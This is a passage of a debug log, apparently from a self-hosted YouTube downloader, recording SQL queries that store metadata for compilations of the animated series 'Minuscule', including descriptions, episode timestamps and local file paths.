Apple | S03E04\n00:13:37 | The Wicked Web | S03E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#pea #ant #fly #ladybird #sow #wind #grasshopper #ladybirds #Minuscule #nature #insects #ladybugs #animatedseries", "A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation", "22786088-1742-41c7-a4a7-b13e63cbf121", "7uKsDZC7uCc", 925, false, 5, "https://www.youtube.com/watch?v=7uKsDZC7uCc", 55, "/downloads/Miniscule Season 2/2025-05-06 A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation/A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation [7uKsDZC7uCc].mp4", false, false, false, [], 1, ~U[2025-05-06 06:00:59Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pea In The Hand Is Worth... | S03E05\n00:01:32 | Sow The Wind And Reap The Storm | S03E11\n00:03:10 | The Doughnut | S03E16\n00:04:42 | Pea supper | S03E01\n00:06:11 | The Magic Fly | S03E15\n00:07:40 | The Sled and the Ant | S03E25\n00:09:09 | He Who Laughs Last, laughs Longest | S03E12\n00:10:38 | Chocolate Fly | S03E23\n00:12:07 | A Christmas Apple | S03E04\n00:13:37 | The Wicked Web | S03E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#pea #ant #fly #ladybird #sow #wind #grasshopper #ladybirds #Minuscule #nature #insects #ladybugs #animatedseries", "A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation", "7uKsDZC7uCc", 925, false, 5, "https://www.youtube.com/watch?v=7uKsDZC7uCc", "/downloads/Miniscule Season 2/2025-05-06 A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation/A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation [7uKsDZC7uCc].mp4", false, ~U[2025-05-06 06:00:59Z]] 22:15:39.214 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.216 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 18:00:53Z], 5] 22:15:39.220 [debug] QUERY OK source="media_items" db=2.9ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | If Only Lonely | S02E22\n00:07:31 | The Butterfly Effect | S02E23\n00:10:53 | Fly Hunting | S02E24\n00:14:27 | Hop On! | S02E25\n00:18:04 | The Housing Plant Project | S02E26\n00:21:41 | At Full Speed | S02E27\n00:25:24 | The Annoying Neighbor | S02E28\n00:29:00 | Thirsty | S02E29\n00:32:33 | High voltage | S02E30\n00:36:07 | Spider from the Depths | S02E31\n00:39:42 | Gather More to Pollinate More | S02E32\n00:43:27 | The Iron Monster | S02E33\n00:47:01 | The Long Road | S02E34\n00:50:43 | The Yule log | S02E35\n00:54:29 | Spider Driver | S02E36\n00:58:10 | The Monster Of The Haunted Swamp | S02E37\n01:01:41 | Rascals! | S02E38\n01:05:20 | The Grocery Store Incident | S02E39\n01:08:51 | Sunburn | S02E40\n01:12:15 | Away all boarders! | S02E41\n01:15:58 | Down The Chimney | S02E42\n01:19:43 | To The Port Now! | S02E43\n01:23:11 | Zzz zzz | S02E44\n01:26:41 | Love Apple | S02E45\n01:30:21 | Brushing | S02E46\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #ladybug #sibling #anxiety #ants #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule 🍃 125' Compilation", "cb597535-df85-4cb6-81d7-2fa9dca89085", "cFMH5uWhQhg", 5672, false, 5, "https://www.youtube.com/watch?v=cFMH5uWhQhg", 56, "/downloads/Miniscule Season 2/2025-05-31 Patatas Fritas 🍟 Minuscule 🍃 125' Compilation/Patatas Fritas 🍟 Minuscule 🍃 125' Compilation [cFMH5uWhQhg].mp4", false, false, false, [], 1, ~U[2025-05-31 18:00:53Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | If Only Lonely | S02E22\n00:07:31 | The Butterfly Effect | S02E23\n00:10:53 | Fly Hunting | S02E24\n00:14:27 | Hop On! | S02E25\n00:18:04 | The Housing Plant Project | S02E26\n00:21:41 | At Full Speed | S02E27\n00:25:24 | The Annoying Neighbor | S02E28\n00:29:00 | Thirsty | S02E29\n00:32:33 | High voltage | S02E30\n00:36:07 | Spider from the Depths | S02E31\n00:39:42 | Gather More to Pollinate More | S02E32\n00:43:27 | The Iron Monster | S02E33\n00:47:01 | The Long Road | S02E34\n00:50:43 | The Yule log | S02E35\n00:54:29 | Spider Driver | S02E36\n00:58:10 | The Monster Of The Haunted Swamp | S02E37\n01:01:41 | Rascals! | S02E38\n01:05:20 | The Grocery Store Incident | S02E39\n01:08:51 | Sunburn | S02E40\n01:12:15 | Away all boarders! | S02E41\n01:15:58 | Down The Chimney | S02E42\n01:19:43 | To The Port Now! | S02E43\n01:23:11 | Zzz zzz | S02E44\n01:26:41 | Love Apple | S02E45\n01:30:21 | Brushing | S02E46\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #ladybug #sibling #anxiety #ants #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule 🍃 125' Compilation", "cFMH5uWhQhg", 5672, false, 5, "https://www.youtube.com/watch?v=cFMH5uWhQhg", "/downloads/Miniscule Season 2/2025-05-31 Patatas Fritas 🍟 Minuscule 🍃 125' Compilation/Patatas Fritas 🍟 Minuscule 🍃 125' Compilation [cFMH5uWhQhg].mp4", false, ~U[2025-05-31 18:00:53Z]] 22:15:39.221 [debug] QUERY OK source="sources" db=0.4ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.222 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-01 10:01:32Z], 5] 22:15:39.225 [debug] QUERY OK source="media_items" db=2.3ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | An Acorn Season | S02E05\n00:03:45 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:07:31 | Chewing gum rodeo | S02E14\n00:11:16 | The Vegetable Garden | S02E10\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acorn #Grasshopper #Insects #Justice #grasshopper #babies #leap #outcast #Minuscule #nature #insects #ladybugs #animatedseries", "An Acorn Season | Minuscule 🍃 20' Compilation", "a6789a75-0786-4667-a108-e87f05732ef6", "bpMUUv-x_VM", 939, false, 5, "https://www.youtube.com/watch?v=bpMUUv-x_VM", 57, "/downloads/Miniscule Season 2/2025-05-01 An Acorn Season | Minuscule 🍃 20' Compilation/An Acorn Season | Minuscule 🍃 20' Compilation [bpMUUv-x_VM].mp4", false, false, false, [], 1, ~U[2025-05-01 10:01:32Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | An Acorn Season | S02E05\n00:03:45 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:07:31 | Chewing gum rodeo | S02E14\n00:11:16 | The Vegetable Garden | S02E10\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acorn #Grasshopper #Insects #Justice #grasshopper #babies #leap #outcast #Minuscule #nature #insects #ladybugs #animatedseries", "An Acorn Season | Minuscule 🍃 20' Compilation", "bpMUUv-x_VM", 939, false, 5, "https://www.youtube.com/watch?v=bpMUUv-x_VM", "/downloads/Miniscule Season 2/2025-05-01 An Acorn Season | Minuscule 🍃 20' Compilation/An Acorn Season | Minuscule 🍃 20' Compilation [bpMUUv-x_VM].mp4", false, ~U[2025-05-01 10:01:32Z]] 22:15:39.226 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.227 [debug] QUERY OK source="media_items" db=0.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-26 18:00:51Z], 5] 22:15:39.231 [debug] QUERY OK source="media_items" db=2.3ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Sleep Walker | S02E68\n00:07:10 | Twelve Angry Snails | S02E66\n00:10:42 | Night of the Gastropods | S02E18\n00:14:28 | The Long Road | S02E34\n00:18:10 | Thirsty | S02E29\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #Dream #Love #Snail #Sleep #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation", "53890616-86dd-4b5c-ae76-feb5d2b5fe48", "uXzw2XDUqEc", 1342, false, 5, "https://www.youtube.com/watch?v=uXzw2XDUqEc", 58, "/downloads/Miniscule Season 2/2025-04-26 Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation [uXzw2XDUqEc].mp4", false, false, false, [], 1, ~U[2025-04-26 18:00:51Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Sleep Walker | S02E68\n00:07:10 | Twelve Angry Snails | S02E66\n00:10:42 | Night of the Gastropods | S02E18\n00:14:28 | The Long Road | S02E34\n00:18:10 | Thirsty | S02E29\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #Dream #Love #Snail #Sleep #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation", "uXzw2XDUqEc", 1342, false, 5, "https://www.youtube.com/watch?v=uXzw2XDUqEc", "/downloads/Miniscule Season 2/2025-04-26 Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 30' Compilation [uXzw2XDUqEc].mp4", false, ~U[2025-04-26 18:00:51Z]] 22:15:39.231 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.233 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-17 10:01:36Z], 5] 22:15:39.236 [debug] QUERY OK source="media_items" db=2.4ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bzzaping | S02E03\n00:03:47 | The Stubborn Spider | S02E04\n00:07:32 | Microzilla | S02E07\n00:11:18 | Brushing | S02E46\n00:14:50 | High voltage | S02E30\n00:18:24 | Fly Hunting | S02E24\n00:21:58 | The Hat Of The Medusa | S02E17\n00:25:43 | The Monster Of The Haunted Swamp | S02E37\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Bzzaping #fly #spider #television #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Bzzaping | Minuscule 🍃 40' Compilation", "7a6cc4b0-728a-41e2-9a0e-2afb1abbde97", "YSP79Cg0w6Q", 1793, false, 5, "https://www.youtube.com/watch?v=YSP79Cg0w6Q", 59, "/downloads/Miniscule Season 2/2025-04-17 Bzzaping | Minuscule 🍃 40' Compilation/Bzzaping | Minuscule 🍃 40' Compilation [YSP79Cg0w6Q].mp4", false, false, false, [], 1, ~U[2025-04-17 10:01:36Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bzzaping | S02E03\n00:03:47 | The Stubborn Spider | S02E04\n00:07:32 | Microzilla | S02E07\n00:11:18 | Brushing | S02E46\n00:14:50 | High voltage | S02E30\n00:18:24 | Fly Hunting | S02E24\n00:21:58 | The Hat Of The Medusa | S02E17\n00:25:43 | The Monster Of The Haunted Swamp | S02E37\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Bzzaping #fly #spider #television #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Bzzaping | Minuscule 🍃 40' Compilation", "YSP79Cg0w6Q", 1793, false, 5, "https://www.youtube.com/watch?v=YSP79Cg0w6Q", "/downloads/Miniscule Season 2/2025-04-17 Bzzaping | Minuscule 🍃 40' Compilation/Bzzaping | Minuscule 🍃 40' Compilation [YSP79Cg0w6Q].mp4", false, ~U[2025-04-17 10:01:36Z]] 22:15:39.237 [debug] QUERY OK source="sources" db=0.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.238 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-07 10:31:11Z], 5] 22:15:39.244 [debug] QUERY OK source="media_items" db=4.0ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:04:16 | Homeless | S02E02\n00:08:03 | Bzzaping | S02E03\n00:11:50 | The Stubborn Spider | S02E04\n00:15:36 | An Acorn Season | S02E05\n00:19:21 | Sausage Predator | S02E06\n00:23:07 | Microzilla | S02E07\n00:26:52 | Honey Fly | S02E08\n00:30:42 | Mission : BBQ | S02E09\n00:34:28 | The Vegetable Garden | S02E10\n00:38:12 | Thievish As A Magpie | S02E11\n00:41:58 | A Pathetic She'Nut'Igan | S02E12\n00:45:43 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:49:29 | Chewing gum rodeo | S02E14\n00:53:14 | Valentine's Day | S02E15\n00:57:00 | Acrobatics | S02E16\n01:00:45 | The Hat Of The Medusa | S02E17\n01:04:31 | Night of the Gastropods | S02E18\n01:08:16 | The Chocolate Chase! | S02E19\n01:12:02 | A Butterfly's Nightmare | S02E20\n01:15:18 | Patatas Fritas | S02E21\n01:19:04 | If Only Lonely | S02E22\n01:22:50 | The Butterfly Effect | S02E23\n01:26:12 | Fly Hunting | S02E24\n01:29:46 | Hop On! | S02E25\n01:33:23 | The Housing Plant Project | S02E26\n01:37:00 | At Full Speed | S02E27\n01:40:43 | The Annoying Neighbor | S02E28\n01:44:19 | Thirsty | S02E29\n01:47:52 | High voltage | S02E30\n01:51:26 | Spider from the Depths | S02E31\n01:55:00 | Gather More to Pollinate More | S02E32\n01:58:46 | The Iron Monster | S02E33\n02:02:19 | The Long Road | S02E34\n02:06:02 | The Yule log | S02E35\n02:09:48 | Spider Driver | S02E36\n02:13:29 | The Monster Of The Haunted Swamp | S02E37\n02:17:00 | Rascals! | S02E38\n02:20:39 | The Grocery Store Incident | S02E39\n02:24:10 | Sunburn | S02E40\n02:27:34 | Away all boarders! | S02E41\n02:31:17 | Down The Chimney | S02E42\n02:35:02 | To The Port Now! | S02E43\n02:38:30 | Zzz zzz | S02E44\n02:42:00 | Love Apple | S02E45\n02:45:40 | Brushing | S02E46\n02:49:12 | Woopsy Daysies! | S02E47\n02:52:46 | Summer Hat | S02E48\n02:56:28 | Sand Castle | S02E49\n02:59:54 | The Grocery Store Racketeer | S02E50\n03:03:30 | Snow Fly | S02E51\n03:06:55 | Ants On The Train | S02E52\n03:10:26 | Zzz In The Metro | S02E53\n03:14:02 | Go Blue Go! | S02E54\n03:17:43 | Black Slope For Gastropod Skiers | S02E55\n03:21:29 | Beehive On A Troll | S02E56\n03:24:59 | The Mosquito Of The Caribbean | S02E57\n03:28:45 | Turbo speed | S02E58\n03:32:09 | Snow Carrot | S02E59\n03:35:48 | Pollution | S02E60\n03:39:33 | Metamorphosis | S02E61\n03:43:04 | Ladybugland | S02E62\n03:46:31 | White As Snow | S02E63\n03:50:08 | Trapped | S02E64\n03:53:50 | Refrigerated | S02E65\n03:57:25 | Twelve Angry Snails | S02E66\n04:00:57 | It's a tie! | S02E67\n04:04:38 | Sleep Walker | S02E68\n04:08:03 | Labyrinth | S02E69\n04:11:48 | Top Tabasco | S02E70\n04:15:26 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "🔴 Live 🔴 Minuscule 🍃 Season 2", "cd6f595c-3e7c-4981-be9e-436d895aba35", "nu-0hFsz_PM", 327186, true, 5, "https://www.youtube.com/watch?v=nu-0hFsz_PM", 61, "/downloads/Miniscule Season 2/2025-04-07 🔴 Live 🔴 Minuscule 🍃 Season 2/🔴 Live 🔴 Minuscule 🍃 Season 2 [nu-0hFsz_PM].NA", false, false, false, [], 1, ~U[2025-04-07 10:31:11Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:04:16 | Homeless | S02E02\n00:08:03 | Bzzaping | S02E03\n00:11:50 | The Stubborn Spider | S02E04\n00:15:36 | An Acorn Season | S02E05\n00:19:21 | Sausage Predator | S02E06\n00:23:07 | Microzilla | S02E07\n00:26:52 | Honey Fly | S02E08\n00:30:42 | Mission : BBQ | S02E09\n00:34:28 | The Vegetable Garden | S02E10\n00:38:12 | Thievish As A Magpie | S02E11\n00:41:58 | A Pathetic She'Nut'Igan | S02E12\n00:45:43 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:49:29 | Chewing gum rodeo | S02E14\n00:53:14 | Valentine's Day | 